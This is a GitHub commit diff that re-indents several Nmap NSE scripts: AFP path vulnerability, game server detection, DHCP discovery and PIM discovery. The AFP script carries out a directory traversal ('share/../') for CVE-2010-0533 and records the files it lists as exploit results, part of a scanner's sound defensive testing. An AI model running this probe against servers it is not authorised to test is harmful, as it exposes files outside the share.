1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-15 20:29:03 +00:00

Re-indent some more scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-02-02 15:33:29 +00:00
parent c7d4f2ec96
commit d309fecd12
50 changed files with 6076 additions and 6076 deletions

View File

@@ -82,26 +82,26 @@ portrule = shortport.portnumber(548, "tcp")
-- @return table suitable for stdnse.format_output
local function processResponse( tbl, max_count, out, count )
local out = out or {}
local count = count or 0
local out = out or {}
local count = count or 0
for _, v in ipairs(tbl) do
if ( max_count and max_count > 0 and max_count <= count ) then
break
end
if ( v.name ) then
local sfx = ( v.type == 0x80 ) and "/" or ""
table.insert(out, v.name .. sfx )
count = count + 1
elseif( type(v) == 'table' ) then
local tmp = {}
table.insert( out, tmp )
processResponse( v, max_count, tmp, count )
end
end
for _, v in ipairs(tbl) do
if ( max_count and max_count > 0 and max_count <= count ) then
break
end
if ( v.name ) then
local sfx = ( v.type == 0x80 ) and "/" or ""
table.insert(out, v.name .. sfx )
count = count + 1
elseif( type(v) == 'table' ) then
local tmp = {}
table.insert( out, tmp )
processResponse( v, max_count, tmp, count )
end
end
-- strip the outer table
return out[1]
-- strip the outer table
return out[1]
end
--- This function simply checks if the table contains a Directory Id (DID) of 2
@@ -110,111 +110,111 @@ end
-- @param tbl table containing the table as return from the Dir method
-- @return true if host is vulnerable, false otherwise
local function isVulnerable( tbl )
for _, v in ipairs(tbl) do
-- if we got no v.id it's probably a container table
if ( not(v.id) ) then
if ( isVulnerable(v) ) then
return true
end
end
if ( v.id == 2 ) then
return true
end
end
return false
for _, v in ipairs(tbl) do
-- if we got no v.id it's probably a container table
if ( not(v.id) ) then
if ( isVulnerable(v) ) then
return true
end
end
if ( v.id == 2 ) then
return true
end
end
return false
end
action = function(host, port)
local status, response, shares
local afp_helper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
local vulnerable = false
local status, response, shares
local afp_helper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
local vulnerable = false
local MAX_FILES = 5
local MAX_FILES = 5
local afp_vuln = {
title = "Apple Mac OS X AFP server directory traversal",
IDS = {CVE = 'CVE-2010-0533'},
risk_factor = "High",
scores = {
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
},
description = [[
local afp_vuln = {
title = "Apple Mac OS X AFP server directory traversal",
IDS = {CVE = 'CVE-2010-0533'},
risk_factor = "High",
scores = {
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
},
description = [[
Directory traversal vulnerability in AFP Server in Apple Mac OS X before
10.6.3 allows remote attackers to list a share root's parent directory.]],
references = {
'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
'http://support.apple.com/kb/HT1222',
},
dates = {
disclosure = {year = '2010', month = '03', day = '29'},
},
exploit_results = {},
}
references = {
'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
'http://support.apple.com/kb/HT1222',
},
dates = {
disclosure = {year = '2010', month = '03', day = '29'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local report = vulns.Report:new(SCRIPT_NAME, host, port)
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
for username, password in pairs(users) do
for username, password in pairs(users) do
status, response = afp_helper:OpenSession(host, port)
if ( not(status) ) then
stdnse.print_debug(response)
return
end
status, response = afp_helper:OpenSession(host, port)
if ( not(status) ) then
stdnse.print_debug(response)
return
end
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afp_helper:Login(username, password)
else
status, response = afp_helper:Login(nil, nil)
end
if ( not(status) ) then
stdnse.print_debug("afp-path-vuln: Login failed", response)
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
return
end
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afp_helper:Login(username, password)
else
status, response = afp_helper:Login(nil, nil)
end
if ( not(status) ) then
stdnse.print_debug("afp-path-vuln: Login failed", response)
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
return
end
status, shares = afp_helper:ListShares()
status, shares = afp_helper:ListShares()
for _, share in ipairs(shares) do
for _, share in ipairs(shares) do
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
if ( not(status) ) then
stdnse.print_debug(3, "afp-path-vuln: %s", response)
else
if ( isVulnerable( response ) ) then
vulnerable = true
if(nmap.verbosity() > 1) then
response = processResponse( response )
local name = share .. "/../"
table.insert(afp_vuln.exploit_results,
name)
else
response = processResponse( response, MAX_FILES )
local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
table.insert(afp_vuln.exploit_results,
name)
end
table.insert(afp_vuln.exploit_results,
response)
end
end
end
end
if ( not(status) ) then
stdnse.print_debug(3, "afp-path-vuln: %s", response)
else
if ( isVulnerable( response ) ) then
vulnerable = true
if(nmap.verbosity() > 1) then
response = processResponse( response )
local name = share .. "/../"
table.insert(afp_vuln.exploit_results,
name)
else
response = processResponse( response, MAX_FILES )
local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
table.insert(afp_vuln.exploit_results,
name)
end
table.insert(afp_vuln.exploit_results,
response)
end
end
end
end
if ( vulnerable ) then
afp_vuln.state = vulns.STATE.EXPLOIT
else
afp_vuln.state = vulns.STATE.NOT_VULN
end
if ( vulnerable ) then
afp_vuln.state = vulns.STATE.EXPLOIT
else
afp_vuln.state = vulns.STATE.NOT_VULN
end
return report:make_output(afp_vuln)
return report:make_output(afp_vuln)
end

View File

@@ -90,41 +90,41 @@ http://sourceforge.net/projects/gameq/
-- <elem key="num players">2</elem>
-- <elem key="max players">16</elem>
-- <table key="settings">
-- <elem key="Dedicated">No</elem>
-- <elem key="Password Required">No</elem>
-- <elem key="Time Limit">30</elem>
-- <elem key="Points Limit">200 min.</elem>
-- <elem key="Respawns Limit">unlimited</elem>
-- <elem key="Respawn Delay">10 sec.</elem>
-- <elem key="Enemies Visible On Map">No</elem>
-- <elem key="Available Inventory Room">Yes</elem>
-- <elem key="Identify Enemy Players">No</elem>
-- <elem key="Available Vehicles">Yes</elem>
-- <elem key="Vehicle Respaws Limit">unlimited</elem>
-- <elem key="Vehicle Respawn Delay">30 sec.</elem>
-- <elem key="Vehicle Auto Return Time">90 sec.</elem>
-- <elem key="Vehicles Visible On Map">Yes</elem>
-- <elem key="Team Balance">Off</elem>
-- <elem key="Friendly Fire">On</elem>
-- <elem key="Friends Visible On Map">Yes</elem>
-- <elem key="Dedicated">No</elem>
-- <elem key="Password Required">No</elem>
-- <elem key="Time Limit">30</elem>
-- <elem key="Points Limit">200 min.</elem>
-- <elem key="Respawns Limit">unlimited</elem>
-- <elem key="Respawn Delay">10 sec.</elem>
-- <elem key="Enemies Visible On Map">No</elem>
-- <elem key="Available Inventory Room">Yes</elem>
-- <elem key="Identify Enemy Players">No</elem>
-- <elem key="Available Vehicles">Yes</elem>
-- <elem key="Vehicle Respaws Limit">unlimited</elem>
-- <elem key="Vehicle Respawn Delay">30 sec.</elem>
-- <elem key="Vehicle Auto Return Time">90 sec.</elem>
-- <elem key="Vehicles Visible On Map">Yes</elem>
-- <elem key="Team Balance">Off</elem>
-- <elem key="Friendly Fire">On</elem>
-- <elem key="Friends Visible On Map">Yes</elem>
-- </table>
-- <table key="players">
-- <table key="player 0">
-- <elem key="name">NoVoDondo</elem>
-- <elem key="team">BLUE</elem>
-- <elem key="skin"></elem>
-- <elem key="score">71</elem>
-- <elem key="ping">0</elem>
-- <elem key="time"></elem>
-- </table>
-- <table key="player 1">
-- <elem key="name">HeroX</elem>
-- <elem key="team">RED</elem>
-- <elem key="skin"></elem>
-- <elem key="score">0</elem>
-- <elem key="ping">11</elem>
-- <elem key="time"></elem>
-- </table>
-- <table key="player 0">
-- <elem key="name">NoVoDondo</elem>
-- <elem key="team">BLUE</elem>
-- <elem key="skin"></elem>
-- <elem key="score">71</elem>
-- <elem key="ping">0</elem>
-- <elem key="time"></elem>
-- </table>
-- <table key="player 1">
-- <elem key="name">HeroX</elem>
-- <elem key="team">RED</elem>
-- <elem key="skin"></elem>
-- <elem key="score">0</elem>
-- <elem key="ping">11</elem>
-- <elem key="time"></elem>
-- </table>
-- </table>
author = "Marin Maržić"
@@ -139,94 +139,94 @@ categories = { "discovery", "safe", "version" }
-- @return ret_pos the position after the last unpacked byte
-- @return string the unpacked string
local unpack_str = function(str, pos)
local ret_pos = pos + str:byte(pos)
return ret_pos, string.sub(str, pos + 1, ret_pos - 1)
local ret_pos = pos + str:byte(pos)
return ret_pos, string.sub(str, pos + 1, ret_pos - 1)
end
portrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, "allseeingeye", "udp")
action = function(host, port)
local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 })
if not status then
return
end
local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 })
if not status then
return
end
-- UDP port is open
nmap.set_port_state(host, port, "open")
-- UDP port is open
nmap.set_port_state(host, port, "open")
if not string.match(data, "^EYE1") then
return
end
if not string.match(data, "^EYE1") then
return
end
-- Detected; extract fields
local o = stdnse.output_table()
local pos = 5
-- Detected; extract fields
local o = stdnse.output_table()
local pos = 5
pos, o["game"] = unpack_str(data, pos)
pos, o["port"] = unpack_str(data, pos)
pos, o["server name"] = unpack_str(data, pos)
pos, o["game type"] = unpack_str(data, pos)
pos, o["map"] = unpack_str(data, pos)
pos, o["version"] = unpack_str(data, pos)
pos, o["passworded"] = unpack_str(data, pos)
pos, o["num players"] = unpack_str(data, pos)
pos, o["max players"] = unpack_str(data, pos)
pos, o["game"] = unpack_str(data, pos)
pos, o["port"] = unpack_str(data, pos)
pos, o["server name"] = unpack_str(data, pos)
pos, o["game type"] = unpack_str(data, pos)
pos, o["map"] = unpack_str(data, pos)
pos, o["version"] = unpack_str(data, pos)
pos, o["passworded"] = unpack_str(data, pos)
pos, o["num players"] = unpack_str(data, pos)
pos, o["max players"] = unpack_str(data, pos)
-- extract the key-value pairs
local kv = stdnse.output_table()
o["settings"] = kv
while data:byte(pos) ~= 1 do
local key, value
pos, key = unpack_str(data, pos)
pos, value = unpack_str(data, pos)
kv[key] = value
end
pos = pos + 1
-- extract the key-value pairs
local kv = stdnse.output_table()
o["settings"] = kv
while data:byte(pos) ~= 1 do
local key, value
pos, key = unpack_str(data, pos)
pos, value = unpack_str(data, pos)
kv[key] = value
end
pos = pos + 1
-- extract player info
local players = stdnse.output_table()
o["players"] = players
local playernum = 0
while pos <= #data do
local flags = data:byte(pos)
pos = pos + 1
-- extract player info
local players = stdnse.output_table()
o["players"] = players
local playernum = 0
while pos <= #data do
local flags = data:byte(pos)
pos = pos + 1
local player = stdnse.output_table()
if bit.band(flags, 1) ~= 0 then
pos, player.name = unpack_str(data, pos)
end
if bit.band(flags, 2) ~= 0 then
pos, player.team = unpack_str(data, pos)
end
if bit.band(flags, 4) ~= 0 then
pos, player.skin = unpack_str(data, pos)
end
if bit.band(flags, 8) ~= 0 then
pos, player.score = unpack_str(data, pos)
end
if bit.band(flags, 16) ~= 0 then
pos, player.ping = unpack_str(data, pos)
end
if bit.band(flags, 32) ~= 0 then
pos, player.time = unpack_str(data, pos)
end
local player = stdnse.output_table()
if bit.band(flags, 1) ~= 0 then
pos, player.name = unpack_str(data, pos)
end
if bit.band(flags, 2) ~= 0 then
pos, player.team = unpack_str(data, pos)
end
if bit.band(flags, 4) ~= 0 then
pos, player.skin = unpack_str(data, pos)
end
if bit.band(flags, 8) ~= 0 then
pos, player.score = unpack_str(data, pos)
end
if bit.band(flags, 16) ~= 0 then
pos, player.ping = unpack_str(data, pos)
end
if bit.band(flags, 32) ~= 0 then
pos, player.time = unpack_str(data, pos)
end
players["player " .. playernum] = player
playernum = playernum + 1
end
players["player " .. playernum] = player
playernum = playernum + 1
end
port.version.name = "ase"
port.version.name_confidence = 10
port.version.product = "All-Seeing Eye"
local passworded_string
if o["passworded"] == "0" then
passworded_string = "; no password"
else
passworded_string = "; has password"
end
port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
port.version.name = "ase"
port.version.name_confidence = 10
port.version.product = "All-Seeing Eye"
local passworded_string
if o["passworded"] == "0" then
passworded_string = "; no password"
else
passworded_string = "; has password"
end
port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
nmap.set_port_version(host, port, "hardmatched")
nmap.set_port_version(host, port, "hardmatched")
return o
end
return o
end

View File

@@ -51,27 +51,27 @@ categories = {"broadcast", "safe"}
prerule = function()
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
end
-- Creates a random MAC address
--
-- @return mac_addr string containing a random MAC
local function randomizeMAC()
local mac_addr = ""
for j=1, 6 do
mac_addr = mac_addr .. string.char(math.random(1, 255))
end
return mac_addr
local mac_addr = ""
for j=1, 6 do
mac_addr = mac_addr .. string.char(math.random(1, 255))
end
return mac_addr
end
-- Gets a list of available interfaces based on link and up filters
@@ -80,18 +80,18 @@ end
-- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces
local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then
result = result or {}
result[iface.device] = true
end
end
end
return result
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then
result = result or {}
result[iface.device] = true
end
end
end
return result
end
-- Listens for an incoming dhcp response
@@ -101,113 +101,113 @@ end
-- @param xid the DHCP transaction id
-- @param result a table to which the result is written
local function dhcp_listener(sock, timeout, xid, result)
local condvar = nmap.condvar(result)
local condvar = nmap.condvar(result)
sock:set_timeout(100)
sock:set_timeout(100)
local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive()
-- abort, once another thread has picked up our response
if ( #result > 0 ) then
sock:close()
condvar "signal"
return
end
local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive()
-- abort, once another thread has picked up our response
if ( #result > 0 ) then
sock:close()
condvar "signal"
return
end
if ( status ) then
local p = packet.Packet:new( data, #data )
if ( p and p.udp_dport ) then
local data = data:sub(p.udp_offset + 9)
local status, response = dhcp.dhcp_parse(data, xid)
if ( status ) then
table.insert( result, response )
sock:close()
condvar "signal"
return
end
end
end
end
sock:close()
condvar "signal"
if ( status ) then
local p = packet.Packet:new( data, #data )
if ( p and p.udp_dport ) then
local data = data:sub(p.udp_offset + 9)
local status, response = dhcp.dhcp_parse(data, xid)
if ( status ) then
table.insert( result, response )
sock:close()
condvar "signal"
return
end
end
end
end
sock:close()
condvar "signal"
end
action = function()
local host, port = "255.255.255.255", 67
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
timeout = (timeout or 10) * 1000
local host, port = "255.255.255.255", 67
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
timeout = (timeout or 10) * 1000
-- randomizing the MAC could exhaust dhcp servers with small scopes
-- if ran multiple times, so we should probably refrain from doing
-- this?
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
-- randomizing the MAC could exhaust dhcp servers with small scopes
-- if ran multiple times, so we should probably refrain from doing
-- this?
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
local interfaces
local interfaces
-- first check if the user supplied an interface
if ( nmap.get_interface() ) then
interfaces = { [nmap.get_interface()] = true }
else
-- As the response will be sent to the "offered" ip address we need
-- to use pcap to pick it up. However, we don't know what interface
-- our packet went out on, so lets get a list of all interfaces and
-- run pcap on all of them, if they're a) up and b) ethernet.
interfaces = getInterfaces("ethernet", "up")
end
-- first check if the user supplied an interface
if ( nmap.get_interface() ) then
interfaces = { [nmap.get_interface()] = true }
else
-- As the response will be sent to the "offered" ip address we need
-- to use pcap to pick it up. However, we don't know what interface
-- our packet went out on, so lets get a list of all interfaces and
-- run pcap on all of them, if they're a) up and b) ethernet.
interfaces = getInterfaces("ethernet", "up")
end
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
local request_type = dhcp.request_types["DHCPDISCOVER"]
local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
local request_type = dhcp.request_types["DHCPDISCOVER"]
local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
-- we nead to set the flags to broadcast
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
if (not(status)) then return "\n ERROR: Failed to build packet" end
-- we nead to set the flags to broadcast
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
if (not(status)) then return "\n ERROR: Failed to build packet" end
local threads = {}
local result = {}
local condvar = nmap.condvar(result)
local threads = {}
local result = {}
local condvar = nmap.condvar(result)
-- start a listening thread for each interface
for iface, _ in pairs(interfaces) do
local sock, co
sock = nmap.new_socket()
sock:pcap_open(iface, 1500, false, "ip && udp && port 68")
co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result )
threads[co] = true
end
-- start a listening thread for each interface
for iface, _ in pairs(interfaces) do
local sock, co
sock = nmap.new_socket()
sock:pcap_open(iface, 1500, false, "ip && udp && port 68")
co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result )
threads[co] = true
end
local socket = nmap.new_socket("udp")
socket:bind(nil, 68)
socket:sendto( host, port, packet )
socket:close()
local socket = nmap.new_socket("udp")
socket:bind(nil, 68)
socket:sendto( host, port, packet )
socket:close()
-- wait until all threads are done
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
-- wait until all threads are done
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
local response = {}
-- Display the results
for i, r in ipairs(result) do
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str))
for _, v in ipairs(r.options) do
if(type(v['value']) == 'table') then
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end
end
end
return stdnse.format_output(true, response)
local response = {}
-- Display the results
for i, r in ipairs(result) do
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str))
for _, v in ipairs(r.options) do
if(type(v['value']) == 'table') then
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end
end
end
return stdnse.format_output(true, response)
end

View File

@@ -41,61 +41,61 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "broadcast"}
prerule = function()
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
-- Generates a raw PIM Hello message.
--@return hello Raw PIM Hello message
local helloRaw = function()
-- Version: 2, Type: Hello (0)
local hello_raw = bin.pack(">C", 0x20)
-- Reserved
hello_raw = hello_raw.. bin.pack(">C", 0x00)
-- Checksum: Calculated later
hello_raw = hello_raw.. bin.pack(">S", 0x0000)
-- Options (TLVs)
-- Hold time 1 second
hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01)
-- Generation ID: Random
hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456))
-- DR Priority: 1
hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01)
-- State fresh capable: Version = 1, interval = 0, Reserved
hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00)
-- Calculate checksum
hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
-- Version: 2, Type: Hello (0)
local hello_raw = bin.pack(">C", 0x20)
-- Reserved
hello_raw = hello_raw.. bin.pack(">C", 0x00)
-- Checksum: Calculated later
hello_raw = hello_raw.. bin.pack(">S", 0x0000)
-- Options (TLVs)
-- Hold time 1 second
hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01)
-- Generation ID: Random
hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456))
-- DR Priority: 1
hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01)
-- State fresh capable: Version = 1, interval = 0, Reserved
hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00)
-- Calculate checksum
hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
return hello_raw
return hello_raw
end
-- Sends a PIM Hello message.
--@param interface Network interface to use.
--@param dstip Destination IP to which send the Hello.
local helloQuery = function(interface, dstip)
local hello_packet, sock, eth_hdr
local srcip = interface.address
local hello_packet, sock, eth_hdr
local srcip = interface.address
local hello_raw = helloRaw()
local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
local hello_raw = helloRaw()
local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
-- Ethernet multicast for PIM, our ethernet address and packet type IP
eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800)
sock:ethernet_send(eth_hdr .. hello_packet.buf)
sock:ethernet_close()
sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
-- Ethernet multicast for PIM, our ethernet address and packet type IP
eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800)
sock:ethernet_send(eth_hdr .. hello_packet.buf)
sock:ethernet_close()
end
-- Listens for PIM Hello messages.
@@ -103,90 +103,90 @@ end
--@param timeout Time to listen for a response.
--@param responses table to insert responders' IPs into.
local helloListen = function(interface, timeout, responses)
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, hello_raw, status, l3data, _
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, hello_raw, status, l3data, _
-- PIM packets that are sent to 224.0.0.13 and not coming from our host
local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
-- PIM packets that are sent to 224.0.0.13 and not coming from our host
local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check that PIM Type is Hello
if p and hello_raw:byte(1) == 0x20 then
table.insert(responses, p.ip_src)
end
end
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check that PIM Type is Hello
if p and hello_raw:byte(1) == 0x20 then
table.insert(responses, p.ip_src)
end
end
condvar("signal")
end
condvar("signal")
end
--- Returns the network interface used to send packets to the destination host.
--@param destination host to which the interface is used.
--@return interface Network interface used for destination host.
local getInterface = function(destination)
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(destination, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(destination, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
end
end
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {}
timeout = (timeout or 5) * 1000
local mcast = "224.0.0.13"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {}
timeout = (timeout or 5) * 1000
local mcast = "224.0.0.13"
-- Get the network interface to use
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
-- Get the network interface to use
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(mcast)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
-- Launch listener
stdnse.new_thread(helloListen, interface, timeout, responses)
-- Send Hello after small sleep so the listener doesn't miss any responses
stdnse.sleep(0.1)
helloQuery(interface, mcast)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
table.sort(responses)
if target.ALLOW_NEW_TARGETS then
for _, response in pairs(responses) do
target.add(response)
end
else
interface = getInterface(mcast)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
-- Launch listener
stdnse.new_thread(helloListen, interface, timeout, responses)
-- Send Hello after small sleep so the listener doesn't miss any responses
stdnse.sleep(0.1)
helloQuery(interface, mcast)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
table.sort(responses)
if target.ALLOW_NEW_TARGETS then
for _, response in pairs(responses) do
target.add(response)
end
else
table.insert(responses,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, responses)
table.insert(responses,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, responses)
end
end

View File

@@ -60,21 +60,21 @@ categories = {"discovery","safe","broadcast"}
prerule = function()
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
return true
end
@@ -85,195 +85,195 @@ end
-- @param ttl number containing value for the TTL (time to live) field in IP header
-- @param data_length number value of ICMP payload length
local icmp_packet = function(srcIP, dstIP, ttl, data_length, mtu, seqNo, icmp_id)
-- A couple of checks first
assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
